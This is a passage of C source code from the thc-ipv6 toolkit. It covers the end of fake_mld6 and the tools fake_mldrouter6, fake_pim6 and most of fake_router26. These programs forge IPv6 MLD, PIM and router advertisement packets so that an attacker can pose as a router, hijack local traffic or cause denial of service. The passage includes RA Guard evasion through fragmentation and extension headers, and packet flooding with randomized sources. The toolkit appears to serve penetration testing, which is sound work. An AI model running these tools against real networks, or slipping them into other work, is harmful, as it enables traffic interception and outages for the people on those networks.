%s is listening on %s\n", thc_ipv62notation(ptr + 8), thc_ipv62notation(ptr + 56)); } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, buf[24]; unsigned char *dst6 = NULL, *src6 = NULL, srcmac[16] = "", *mac = srcmac, dstmac[16] = "", *dmac = dstmac; int pkt1_len = 0, i = 0, j; char * interface, string[64] = "ip6 and not udp and not tcp"; int ttl = 1, mode = 0, wait = 0, loop = 0; pcap_t *p; memset(buf, 0, sizeof(buf)); if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-l") == 0) { loop = 1; argv++; argc--; } if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); interface = argv[1]; if (strncasecmp(argv[2], "add", 3) == 0) mode = ICMP6_MLD_REPORT; if (strncasecmp(argv[2], "del", 3) == 0) mode = ICMP6_MLD_DONE; if (strncasecmp(argv[2], "que", 3) == 0) { mode = ICMP6_MLD_QUERY; wait = 0x0444 << 16; } if (mode == 0) { fprintf(stderr, "Error: no mode defined, specify add, delete or query\n"); exit(-1); } if (argc == 3 || argv[3] == NULL || argv[3][0] == 0) { multicast6 = thc_resolve6("::"); empty = 1; } else { if ((multicast6 = thc_resolve6(argv[3])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[3]); exit(-1); } for (j = 0; j < 16; j++) i += multicast6[j]; if (i == 0) empty = 1; } if (mode == ICMP6_MLD_QUERY) { if (memcmp(multicast6, buf, 16)) dst6 = multicast6; else dst6 = thc_resolve6("ff02::1"); } else dst6 = thc_resolve6("ff02::2"); if (argv[5] != NULL && argc > 5) ttl = atoi(argv[5]); if (argv[6] != NULL && argc > 6) src6 = thc_resolve6(argv[6]); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); if (rawmode == 0) { if (argv[7] != NULL && argc > 7) sscanf(argv[7], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], (unsigned int *)&srcmac[5]); else mac = thc_get_own_mac(interface); if (argv[8] != NULL && argc > 8) sscanf(argv[8], "%x:%x:%x:%x:%x:%x", (unsigned int *)&dstmac[0], (unsigned int *)&dstmac[1], (unsigned int *)&dstmac[2], (unsigned int *)&dstmac[3], (unsigned int *)&dstmac[4], (unsigned int *)&dstmac[5]); else dmac = NULL; } if ((p = thc_pcap_init_promisc(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, src6, dst6, ttl, 0, 0, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 5; buf[1] = 2; if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf, 6) < 0) return -1; memset(buf, 0, sizeof(buf)); memcpy(buf, multicast6, 16); if (thc_add_icmp6(pkt1, &pkt1_len, mode, 0, wait, (unsigned char *)&buf, 16, 0) < 0) return -1; if (thc_generate_pkt(interface, mac, dmac, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } printf("Sending packet%s for %s%s\n", loop ? "s" : "", empty ? "::" : argv[3], loop ? " (Press Control-C to end)" : ""); do { thc_send_pkt(interface, pkt1, &pkt1_len); if (mode == ICMP6_MLD_QUERY) { sleep(5); while (thc_pcap_check(p, (char *)check_packets, NULL)) ; } } while (loop); return 0; // never reached } thc-ipv6-3.8/fake_mldrouter6.c000066400000000000000000000101561376121567700163030ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" int rawmode = 0; int empty = 0; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-l] interface advertise|solicitate|terminate [own-ip " "[own-mac-address]]\n\n", prg); printf("Announce, delete or soliciated MLD router - sourself or others.\n"); printf( "Use -l to loop and send (in 5s intervals) until Control-C is " "pressed.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ptr = (unsigned char *)data; int len = header->caplen; if (rawmode == 0) { if (do_hdr_size) { ptr += do_hdr_size; len -= do_hdr_size; if ((ptr[0] & 240) != 0x60) return; } else { ptr += 14; len -= 14; } } if (debug) thc_dump_data(ptr, len, "Received Packet"); if (len > 43 && ptr[6] == 0x3a && ptr[40] == ICMP6_MLD_ROUTERADV) printf("MLD router advertisement: %s is performing MLD routing\n", thc_ipv62notation(ptr + 8)); } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, buf[4]; unsigned char *dst6 = thc_resolve6("ff02:0:0:0:0:0:0:6a"), *src6 = NULL, srcmac[16] = "", *mac = srcmac; int pkt1_len = 0; char * interface, string[64] = "icmp6"; int ttl = 1, mode = 0, wait1 = 0, wait2 = 0, loop = 0; pcap_t *p; memset(buf, 0, sizeof(buf)); if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-l") == 0) { loop = 1; argv++; argc--; } if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); interface = argv[1]; if (strncasecmp(argv[2], "sol", 3) == 0 || strncasecmp(argv[2], "que", 3) == 0) mode = ICMP6_MLD_ROUTERSOL; if (strncasecmp(argv[2], "ad", 2) == 0) { mode = ICMP6_MLD_ROUTERADV; wait1 = 15; wait2 = 0x00300006; } if (strncasecmp(argv[2], "ter", 3) == 0 || strncasecmp(argv[2], "del", 3) == 0) mode = ICMP6_MLD_ROUTERTERMINATION; if (mode == 0) { fprintf( stderr, "Error: no mode defined, specify solitate, advertise or terminate\n"); exit(-1); } if (argc < 4 || argv[3] == NULL || argv[3][0] == 0) src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); else src6 = thc_resolve6(argv[3]); if (argc == 5 && argv[4] != NULL && argv[4][0] != 0) sscanf(argv[4], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], (unsigned int *)&srcmac[5]); else mac = thc_get_own_mac(interface); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, src6, dst6, ttl, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt1, &pkt1_len, mode, wait1 % 256, wait2, (unsigned char *)&buf, 0, 0) < 0) return -1; if (thc_generate_pkt(interface, mac, NULL, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } printf("Sending packet%s to %s%s\n", loop ? "s" : "", argv[2], loop ? " (Press Control-C to end)" : ""); do { thc_send_pkt(interface, pkt1, &pkt1_len); sleep(5); if (mode == ICMP6_MLD_ROUTERSOL) while (thc_pcap_check(p, (char *)check_packets, NULL)) ; } while (loop); return 0; // never reached } thc-ipv6-3.8/fake_pim6.c000066400000000000000000000256731376121567700150650ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax:\n"); printf( " %s [-l|-f] [-t ttl] [-s src6] [-d dst6] interface hello " "[dr_priority]\n", prg); printf( " %s [-l|-f] [-t ttl] [-s src6] [-d dst6] interface bootstrap bsr6 " "[bsr_prio [rp6]]\n", prg); printf( " %s [-l|-f] [-t ttl] [-s src6] [-d dst6] interface assert multicast6 " "[metric [sender6]]\n", prg); printf( " %s [-l|-f] [-t ttl] [-s src6] [-d dst6] interface join|prune " "neighbor6 multicast6 target6\n", prg); printf("\nOptions:\n"); printf(" -l loop packet every 5 seconds\n"); printf( " -f flood packet (with random values where useful, e.g src)\n"); printf(" -t ttl specify a non-standard ttl\n"); printf(" -s src6 specify the source IPv6 address\n"); printf(" -d dst6 specify a non-standard destination IPv6 address\n"); printf( "\nThe hello command takes optionally the DR priority (default: 0).\n"); printf( "The join and prune commands need the multicast group to modify, the " "target\naddress that joins or leavs and the neighbor PIM router\n"); printf( "The bootstrap command needs the bootstraprouter address and optional " "its\npriority and the rendevouz-point.\n"); printf( "The assert command needs the concerning multicast address and optional " "its\nmetric and multicast sender.\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, buf[128]; unsigned char *dst6 = NULL, *tmp6 = NULL, *src6 = NULL, *gsrc6 = NULL, *multicast6, *target6, *neighbor6; int pkt1_len = 0, i = 0, j, rand_int, offset = 14; char * interface; int ttl, tmp_ttl = -1, mode = -1, len = 0, loop = 0, flood = 0; thc_ipv6_hdr *hdr; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); while ((i = getopt(argc, argv, "t:s:d:lf")) >= 0) { switch (i) { case 'f': flood = 1; break; case 'l': loop = 1; break; case 't': tmp_ttl = atoi(optarg); break; case 's': src6 = thc_resolve6(optarg); break; case 'd': dst6 = thc_resolve6(optarg); break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } interface = argv[optind]; if (strncasecmp(argv[optind + 1], "hello", 3) == 0) mode = 0; if (strncasecmp(argv[optind + 1], "join", 3) == 0) mode = 3; if (strncasecmp(argv[optind + 1], "prune", 3) == 0) mode = 256 + 3; if (strncasecmp(argv[optind + 1], "bootstrap", 4) == 0) mode = 4; if (strncasecmp(argv[optind + 1], "assert", 3) == 0) mode = 5; if (strcasecmp(argv[optind + 1], "register") == 0) mode = 1; if (strncasecmp(argv[optind + 1], "register", 9) == 0 && strlen(argv[optind + 1]) > 9) mode = 2; // register-stop if (mode == -1) { fprintf(stderr, "Error: no mode defined, specify hello, bootstrap, assert, join or " "prune\n"); exit(-1); } if (flood && loop) loop = 0; if (do_hdr_size) offset = do_hdr_size; if ((mode == 4) && argc - optind < 3) { fprintf(stderr, "Error: bootstrap mode needs to specify at least a BSR address\n"); exit(-1); } if ((mode == 5) && argc - optind < 3) { fprintf( stderr, "Error: assert mode needs to specify at least a multicast6 address\n"); exit(-1); } if (mode % 16 == 3) { if (argc - optind != 5) { fprintf(stderr, "Error: join/prune mode need a multicast and target address\n"); exit(-1); } neighbor6 = thc_resolve6(argv[optind + 2]); multicast6 = thc_resolve6(argv[optind + 3]); target6 = thc_resolve6(argv[optind + 4]); if (multicast6 == NULL || target6 == NULL || neighbor6 == NULL) { fprintf(stderr, "Error: unable to resolve addresses\n"); exit(-1); } } if (thc_get_own_ipv6(interface, NULL, PREFER_LINK) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (mode != 1 && mode != 2 && mode < 6) { if (tmp_ttl == -1) ttl = 1; else ttl = tmp_ttl; if (dst6 == NULL) dst6 = thc_resolve6("ff02::d"); if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, src6, dst6, ttl, 0, 0, 0, 0)) == NULL) return -1; } else { // need dst6 printf("TODO\n"); if (tmp_ttl == -1) ttl = 255; else ttl = tmp_ttl; if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, src6, dst6, ttl, 0, 0, 0, 0)) == NULL) return -1; } memset(buf, 0, sizeof(buf)); srandom(time(NULL)); rand_int = random(); gsrc6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); // here we set buf and len switch (mode % 16) { case 0: // hello buf[1] = 1; // opt 1 buf[3] = 2; // len 2 buf[5] = 255; buf[7] = 19; // opt 19 buf[9] = 4; // len 4 if (argc - optind >= 3) { i = atoi(argv[optind + 2]); buf[10] = i / 256 * 256 * 256; buf[11] = (i / 65536) % 256; buf[12] = (i % 65536) / 256; buf[13] = i % 256; } buf[15] = 20; // opt 20 buf[17] = 4; // len 4 memcpy(buf + 18, (char *)&rand_int + _TAKE4, 4); buf[23] = 2; // opt 2 buf[25] = 4; // len 4 memset(buf + 26, 0x01, 4); len = 30; if (gsrc6 != NULL) { buf[31] = 24; // opt 24 buf[33] = 18; // len 18 buf[34] = 2; memcpy(buf + 36, gsrc6, 16); len += 22; } break; case 4: // bootstrap // argv[optind + 2] == bsr, 3 prio, 4 rp buf[0] = 5; buf[1] = 0x7d; if (argc - optind >= 4) i = atoi(argv[optind + 3]); else i = 1; buf[3] = i; buf[4] = 2; if ((tmp6 = thc_resolve6(argv[optind + 2])) == NULL) { // must exist fprintf(stderr, "Error: could not resolve bsr6: %s\n", argv[optind + 2]); exit(-1); } memcpy(buf + 6, tmp6, 16); buf[22] = 2; buf[25] = 8; // mask tmp6 = thc_resolve6("ff00::"); memcpy(buf + 26, tmp6, 16); if (argc - optind >= 5) { buf[42] = 1; buf[43] = 1; buf[46] = 2; if ((tmp6 = thc_resolve6(argv[optind + 4])) == NULL) { // must exist fprintf(stderr, "Error: could not resolve rp6: %s\n", argv[optind + 4]); exit(-1); } memcpy(buf + 48, tmp6, 16); buf[65] = 0x96; // holdtime buf[66] = 7; // prio len = 68; } else { buf[42] = 0; buf[43] = 0; len = 46; } break; case 5: // assert if ((tmp6 = thc_resolve6(argv[optind + 2])) == NULL) { // must exist fprintf(stderr, "Error: could not resolve multicast6: %s\n", argv[optind + 2]); exit(-1); } buf[0] = 2; buf[3] = 128; // /128 mask memcpy(buf + 4, tmp6, 16); buf[20] = 2; if (argc - optind >= 5) { if ((tmp6 = thc_resolve6(argv[optind + 4])) == NULL) { // must exist fprintf(stderr, "Error: could not resolve sender6: %s\n", argv[optind + 3]); exit(-1); } memcpy(buf + 16 + 6, tmp6, 16); } else buf[32 + 6] = 0x80; if (argc - optind >= 4) { i = atoi(argv[optind + 3]) % 65536; buf[34 + 6] = i >> 8; buf[35 + 6] = i % 256; buf[38 + 6] = i >> 8; buf[39 + 6] = i % 256; } else { buf[34 + 6] = 1; // metric 256 buf[38 + 6] = 1; // metric 256 } len = 40 + 6; break; case 1: case 2: case 8: printf("TODO\n"); // break; default: // join/prune buf[0] = 2; memcpy(buf + 2, neighbor6, 16); buf[19] = 1; buf[21] = 255; buf[22] = 2; buf[25] = 128; memcpy(buf + 26, multicast6, 16); if (mode < 16) buf[43] = 1; else buf[45] = 1; buf[46] = 2; buf[48] = 7; buf[49] = 128; memcpy(buf + 50, target6, 16); len = 66; } if (thc_add_pim(pkt1, &pkt1_len, mode, buf, len) < 0) return -1; if (thc_generate_pkt(interface, NULL, NULL, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } if (loop || flood) { printf("%s PIM ", loop == 1 ? "Looping" : "Flooding"); switch (mode) { case 0: printf("hello"); break; case 1: printf("register"); break; case 2: printf("register-end"); break; case 3: printf("join"); break; case 4: printf("bootstrap"); break; case 5: printf("assert"); break; case 259: printf("prune"); break; } printf(" message (loop)\n"); } i = 0; hdr = (thc_ipv6_hdr *)pkt1; do { if (flood) { i++; if (i % 1000 == 0) printf("."); memcpy(hdr->pkt + offset + 20, (char *)&i + _TAKE4, 4); // src change switch (mode % 16) { case 0: memcpy(hdr->pkt + offset + 62, (char *)&i + _TAKE4, 4); memcpy(hdr->pkt + offset + 62 + 30, (char *)&i + _TAKE4, 4); break; case 4: memcpy(hdr->pkt + offset + 62, (char *)&i + _TAKE4, 4); break; case 5: memcpy(hdr->pkt + offset + 60, (char *)&i + _TAKE4, 4); break; default: fprintf(stderr, "Error: this mode does not support flooding yet\n"); exit(-1); } hdr->pkt[offset + 56 - 14] = 0; hdr->pkt[offset + 57 - 14] = 0; j = checksum_pseudo_header(hdr->pkt + offset + 8, hdr->pkt + offset + 24, NXT_PIM, &hdr->pkt[offset + 40], hdr->pkt_len - offset - 40); hdr->pkt[offset + 56 - 14] = j / 256; hdr->pkt[offset + 57 - 14] = j % 256; } do { while (thc_send_pkt(interface, pkt1, &pkt1_len) < 0) usleep(5); if (loop) sleep(5); } while (loop == 1); } while (flood == 1); printf("Sent PIM "); switch (mode) { case 0: printf("hello"); break; case 1: printf("register"); break; case 2: printf("register-end"); break; case 3: printf("join"); break; case 4: printf("bootstrap"); break; case 5: printf("assert"); break; case 259: printf("prune"); break; } printf(" message\n"); return 0; } thc-ipv6-3.8/fake_router26.c000066400000000000000000000535711376121567700157000ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #define MAX_ENTRIES 16 int plife = 99999, rlife = 4096, llife = 2048, reach = 0, trans = 0, dlife = 4096, cnt, to_send = 256, flags = 0, myoff = 14; char *interface = NULL, *frbuf, *frbuf2, *frint, buf3[1232]; int frbuflen, frbuf2len, do_overlap = 0, do_hop = 0, do_full = 0, do_frag = 0, do_dst = 0, type = NXT_ICMP6, prio = 2, interval = 5, do_cleanup = 0; unsigned char *frip6, *frmac; thc_ipv6_hdr * frhdr = NULL; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-E type] [-A network/prefix] [-R network/prefix] [-D " "dns-server] [-s sourceip] [-S sourcemac] [-ardl seconds] [-Tt ms] [-n " "no] [-i interval] interface [target]\n\n", prg); printf("Options:\n"); printf(" -A network/prefix add autoconfiguration network (up to %d times)\n", MAX_ENTRIES); printf(" -a seconds valid lifetime of prefix -A (defaults to %d)\n", plife); printf(" -R network/prefix add a route entry (up to %d times)\n", MAX_ENTRIES); printf(" -r seconds route entry lifetime of -R (defaults to %d)\n", rlife); printf(" -D dns-server specify a DNS server (up to %d times)\n", MAX_ENTRIES); printf( " -L searchlist specify the DNS domain search list, separate " "entries with ,\n"); printf(" -d seconds dns entry lifetime of -D (defaults to %d\n", dlife); printf( " -M mtu the MTU to send, defaults to the interface " "setting\n"); printf( " -s sourceip the source ip of the router, defaults to your link " "local\n"); printf( " -S sourcemac the source mac of the router, defaults to your " "interface\n"); printf( " -f ethernetmac the ethernet mac address to use to send the " "frames\n"); printf(" -l seconds router lifetime (defaults to %d)\n", llife); printf(" -T ms reachable timer (defaults to %d)\n", reach); printf(" -t ms retrans timer (defaults to %d)\n", trans); printf( " -p priority priority \"low\", \"medium\", \"high\" (default), " "\"reserved\"\n"); printf( " -F flags Set one or more of the following flags: managed, " "other,\n"); printf(" homeagent, proxy, reserved; separate by comma\n"); printf( " -E type Router Advertisement Guard Evasion option. Types: " "\n"); printf(" F full evasion (Windows and FreeBSD)\n"); printf(" H simple hop-by-hop header\n"); printf( " 1 simple one-shot fragmentation header (can add " "multiple)\n"); printf( " D insert a large destination header so that it " "fragments\n"); printf( " O overlapping fragments for keep-first targets (Win, " "BSD, Mac)\n"); printf( " o overlapping fragments for keep-last targets (Linux, " "Solaris)\n"); printf(" Examples: -E H111, -E D\n"); //, -E O, -E o (the //last two are //best)\n"); printf( " -m mac-address if only one machine should receive the RAs (not " "with -E DoO)\n"); printf(" -i interval time between RA packets (default: %d)\n", interval); printf(" -n number number of RAs to send (default: unlimited)\n"); printf( " -X clean up by de-announcing fake router (default: " "disabled)\n"); printf( "\nAnnounce yourself as a router and try to become the default " "router.\n"); printf( "If a non-existing link-local or mac address is supplied, this results " "in a DOS.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void send_rs_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *pkt = NULL, *dstmac = (unsigned char *)data + 6, *dst = (unsigned char *)data + 14 + 8, *ipv6hdr = (unsigned char *)(data + 14); int pkt_len = 0, i; if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERSOL || header->caplen < 14 + 40 + 2) return; if ((pkt = thc_create_ipv6_extended(frint, PREFER_LINK, &pkt_len, frip6, dst, 255, 0, 0, 0xe0, 0)) == NULL) return; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, frbuf2len) < 0) return; } if (do_frag) { type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0) return; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, frbuf, frbuflen, 0) < 0) return; if (do_dst) { thc_generate_pkt(frint, frmac, dstmac, pkt, &pkt_len); frhdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(frint, frip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232); } else { if (thc_generate_and_send_pkt(frint, frmac, dstmac, pkt, &pkt_len) < 0) return; } pkt = thc_destroy_packet(pkt); } void exit_cleanup(int dummy) { (void)(dummy); // suppress "unused variable" message char *prefix = NULL; if (do_cleanup == 1) { prefix = thc_resolve6("2001:db8::"); printf("cleaning up...\n"); thc_routeradv6(interface, NULL, NULL, NULL, 0, 0, prefix, 0, 0, 0); sleep(3); thc_routeradv6(interface, NULL, NULL, NULL, 0, 0, prefix, 0, 0, 0); sleep(3); thc_routeradv6(interface, NULL, NULL, NULL, 0, 0, prefix, 0, 0, 0); if (prefix) free(prefix); } exit(0); } int main(int argc, char *argv[]) { char mac[16] = "", dmac[16] = "", smac[16] = ""; unsigned char *routerip6, *mac6 = NULL, *ip6 = NULL, *fmac = NULL; unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2"; unsigned char rbuf[MAX_ENTRIES + 1][17], pbuf[MAX_ENTRIES + 1][17], *dbuf[MAX_ENTRIES + 1]; unsigned char *dst = thc_resolve6("ff02::1"); unsigned char *dstmac = thc_get_multicast_mac(dst); int size, mtu = 0, i, j, k, l, m, n, rcnt = 0, pcnt = 0, dcnt = 0, sent = 0; unsigned char *pkt = NULL, *searchlist = NULL; int pkt_len = 0; pcap_t * p; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); memset(rbuf, 0, sizeof(rbuf)); memset(mac, 0, sizeof(mac)); while ((i = getopt(argc, argv, "i:r:E:R:M:m:S:s:D:L:A:a:r:d:t:T:p:n:l:F:Xf:")) >= 0) { switch (i) { case 'i': interval = atoi(optarg); break; case 'm': sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&dmac[0], (unsigned int *)&dmac[1], (unsigned int *)&dmac[2], (unsigned int *)&dmac[3], (unsigned int *)&dmac[4], (unsigned int *)&dmac[5]); dstmac = dmac; break; case 'S': sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); mac6 = mac; break; case 'f': sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&smac[0], (unsigned int *)&smac[1], (unsigned int *)&smac[2], (unsigned int *)&smac[3], (unsigned int *)&smac[4], (unsigned int *)&smac[5]); fmac = smac; break; case 's': if ((ip6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: can not resolve source ip address %s\n", optarg); exit(-1); } break; case 'M': mtu = atoi(optarg); if (mtu < 0 || mtu > 65535) { fprintf(stderr, "Error: mtu argument is invalid: %s\n", optarg); exit(-1); } if (mtu < 1228 || mtu > 1500) fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are " "doing: %d\n", mtu); break; case 'n': to_send = atoi(optarg); if (to_send < 1 || to_send > 255) { fprintf( stderr, "Error: -n argument is invalid, must be between 1 and 255: %s\n", optarg); exit(-1); } break; case 'A': if (pcnt >= MAX_ENTRIES) { fprintf( stderr, "Error: you can not define more than %d autoconfig addresses\n", MAX_ENTRIES); exit(-1); } if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) { fprintf(stderr, "Error: -A option must be supplied as " "IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg); exit(-1); } *ptr++ = 0; if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-) fprintf( stderr, "Error: -A option prefix length must be between 0 and 128: %s\n", optarg); exit(-1); } if (size != 64) fprintf(stderr, "Warning: -A option defines an unusual prefix length: %d\n", size); if (index(optarg, ':') == NULL) strcat(optarg, "::"); if ((routerip6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: -A option network is invalid: %s\n", optarg); exit(-1); } pbuf[pcnt][0] = size % 256; memcpy((char *)&pbuf[pcnt][1], routerip6, 16); pcnt++; break; case 'a': plife = atoi(optarg); break; case 'r': rlife = atoi(optarg); break; case 'd': dlife = atoi(optarg); break; case 'l': llife = atoi(optarg); break; case 'T': reach = atoi(optarg); break; case 't': trans = atoi(optarg); break; case 'p': if (strncasecmp(optarg, "low", 3) == 0) prio = 0; else if (strncasecmp(optarg, "med", 3) == 0) prio = 1; else if (strncasecmp(optarg, "hi", 2) == 0) prio = 2; else if (strncasecmp(optarg, "res", 3) == 0) prio = 3; else { fprintf(stderr, "Error: unknown priority, known keywords are low, medium and " "high: %s\n", optarg); exit(-1); } break; case 'R': if (rcnt >= MAX_ENTRIES) { fprintf(stderr, "Error: you can not define more than %d routes\n", MAX_ENTRIES); exit(-1); } if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) { fprintf(stderr, "Error: -R option must be supplied as " "IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg); exit(-1); } *ptr++ = 0; if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-) fprintf( stderr, "Error: -R option prefix length must be between 0 and 128: %s\n", optarg); exit(-1); } if (index(optarg, ':') == NULL) strcat(optarg, "::"); if ((routerip6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: -R option network is invalid: %s\n", optarg); exit(-1); } rbuf[rcnt][0] = size % 256; memcpy((char *)&rbuf[rcnt][1], routerip6, 16); rcnt++; break; case 'D': if (dcnt >= MAX_ENTRIES) { fprintf(stderr, "Error: you can not define more than %d DNS servers\n", MAX_ENTRIES); exit(-1); } if ((dbuf[dcnt++] = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: can not resolve DNS server %s\n", optarg); exit(-1); } break; case 'L': searchlist = optarg; break; case 'E': if (optarg == NULL) { fprintf(stderr, "Error: no option type given for -E\n"); exit(-1); } for (j = 0; j < strlen(optarg); j++) { switch ( optarg[j]) { // fall through to be fail safe on accidental misuse case 'F': do_full = 1; break; case '0': // fall through case 'O': do_overlap = 1; break; case 'o': do_overlap = 2; break; case '1': // fall through case 'l': // fall through case 'L': do_frag++; break; case 'h': // fall through case 'H': do_hop = 1; break; case 'd': // fall through case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: unknown evasion type %c!\n", optarg[j]); exit(-1); } if ((do_frag && (do_dst || do_overlap)) || (do_dst && do_overlap)) { fprintf( stderr, "Error: you can not use -E types 1, D, O and o together!\n"); exit(-1); } if (do_full && (do_dst || do_overlap || do_frag)) { fprintf(stderr, "Error: you can not use -E type F together with any other " "evasion option\n"); exit(-1); } } break; case 'F': ptr = strtok(optarg, ","); while (ptr != NULL) { if (strncasecmp(ptr, "man", 3) == 0) flags = (flags | 128); else if (strncasecmp(ptr, "oth", 3) == 0) flags = (flags | 64); else if (strncasecmp(ptr, "hom", 3) == 0) flags = (flags | 32); else if (strncasecmp(ptr, "prox", 4) == 0) flags = (flags | 4); else if (strncasecmp(ptr, "res", 3) == 0) flags = (flags | 2); else if (strncasecmp(ptr, "unk", 3) == 0) flags = (flags | 1); else { fprintf(stderr, "Error: unknown flag: %s\n", ptr); exit(-1); } ptr = strtok(NULL, ","); } break; case 'X': do_cleanup = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if ((argc - optind) < 1 || (argc - optind) > 2) help(argv[0]); if (do_hdr_size) myoff = do_hdr_size; interface = argv[optind]; if (argc - optind == 2) if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: invalid target %s\n", argv[optind + 1]); exit(-1); } if (mtu == 0) mtu = thc_get_mtu(interface); if (mac6 == NULL) if ((mac6 = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (fmac == NULL) fmac = mac6; if (ip6 == NULL) if ((ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: IPv6 is not enabled on interface %s\n", interface); exit(-1); } // if (dns == NULL) // dns = thc_resolve6("ff02::fb"); frint = interface; frip6 = ip6; frmac = fmac; frbuf = buf; frbuf2 = buf2; frbuf2len = sizeof(buf2); memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); if (llife > 0xffff) llife = 0xffff; llife = (llife | 0xff000000); if (prio == 2) llife = (llife | 0x00080000); else if (prio == 0) llife = (llife | 0x00180000); else if (prio != 1) llife = (llife | 0x00100000); llife = (llife | 